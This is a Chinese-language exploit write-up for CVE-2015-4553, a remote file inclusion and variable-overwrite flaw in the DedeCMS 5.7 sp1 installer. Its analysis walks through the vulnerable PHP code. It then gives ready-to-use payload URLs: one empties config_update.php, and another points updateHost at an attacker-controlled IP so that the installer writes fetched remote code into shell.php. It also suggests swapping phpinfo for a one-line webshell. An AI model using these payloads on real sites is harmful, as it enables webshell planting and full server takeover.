# CVE-2015-4553 (DedeCMS 5.7 sp1遠程文件包含漏洞)
###### tags: `CVE` `DedeCMS`
這個洞也是基於 apache 解析漏洞,跟上次的重裝漏洞一樣,只不過利用的code區塊不一樣,這次被改為寫入shell
複習:
```php=
<?php echo "123" ;?>
```
存成 test.php // 解釋為php
存成 test.txt // 解釋為txt
存成 test.php.bak // 不認識bak 所以解析為php
### 檔案:dedecms\install\index.php.bak
這行導致了可以_GET _POST _COOKIE 任意覆寫變數 (之前講過)
```php=
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
```
這次利用點在這裡
```php=
else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' <font color="green">[¡Ì]</font> ´æÔÚ(Äú¿ÉÒÔÑ¡Ôñ°²×°½øÐÐÌåÑé)';
else
echo ' <font color="red">[¡Á]</font> Ô¶³Ì»ñȡʧ°Ü';
unset($sql_content);
fclose($fp);
exit();
}
```
看到 require_once('../data/admin/config_update.php')
../data/admin/config_update.php 很簡單,就兩個變數
```php=
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';
```
所以可以看成:
```php=
<?php
else if($step==11)
{
////////////
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';
////////////
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' <font color="green">[¡Ì]</font> ´æÔÚ(Äú¿ÉÒÔÑ¡Ôñ°²×°½øÐÐÌåÑé)';
else
echo ' <font color="red">[¡Á]</font> Ô¶³Ì»ñȡʧ°Ü';
unset($sql_content);
fclose($fp);
exit();
}
?>
```
我們的變數覆寫發生在開頭,走到這很多變數都會被重新覆值
關鍵1 覆蓋$s_lang:
```
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
//$rmurl
http://updatenew.dedecms.com/base-v57/dedecms/demodata{$s_lang}.txt
一開頭定義是$s_lang = 'gb2312';
我們改寫為 $s_lang = '1111'
如此一來$rmurl 變成了一個不存在的檔案
http://updatenew.dedecms.com/base-v57/dedecms/demodata1111.txt
```
關鍵2 覆蓋$install_demo_name變數:
```
$fp = fopen($install_demo_name,'w');
$install_demo_name 我們把它覆蓋為 ../data/admin/config_update.php
//也就是說他會打開 ../data/admin/config_update.php
```
所以整段代碼行為變成:
1 打開 ../data/admin/config_update.php
2 寫入遠程不存在檔案 http://updatenew.dedecms.com/base-v57/dedecms/demodata1111.txt
3 由於 fopen 參數 "w" (寫入方式打開,清除文件內容,如果文件不存在則嘗試創建之)
4 \.\./data/admin/config_update.php 變成空
payload:
```
http://localhost/install/index.php.bak?step=11&s_lang=1111&install_demo_name=../data/admin/config_update.php&insLockfile=test
```
執行完後
dedecms\data\admin\config_update.php 這個檔案變成空
所以再看一次
```php=
<?php
else if($step==11)
{
////////////
require_once('../data/admin/config_update.php');
//沒東西
////////////
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' <font color="green">[¡Ì]</font> ´æÔÚ(Äú¿ÉÒÔÑ¡Ôñ°²×°½øÐÐÌåÑé)';
else
echo ' <font color="red">[¡Á]</font> Ô¶³Ì»ñȡʧ°Ü';
unset($sql_content);
fclose($fp);
exit();
}
?>
```
如此一來更好用了,$updateHost 也可以覆蓋了
構造以下payload
```
http://localhost/install/index.php.bak?step=11&s_lang=hack&install_demo_name=../shell.php&insLockfile=test&updateHost=http://192.168.50.93/
install_demo_name=../shell.php
//代表開啟檔名為../shell.php
updateHost=http://192.168.50.93/
//竄改updateHost
_lang=hack
//最後會變成http://192.168.50.93/dedecms/demodata.hack.txt
```
我們在遠端創建一個dedecms資料夾裡面創建一個demodata.hack.txt
(dedecms/demodata.xxx.txt檔名路徑被寫死所以必須加上)
http://192.168.50.93/dedecms/demodatahack.txt
```
<?php phpinfo();?>
```
### 執行完後:
出現[√] 存在(您可以选择安装进行体验) 代表成功了。
這時你已經上傳了一個 \dedecms\shell.php
當然phpinfo 也可以換成一句話木馬。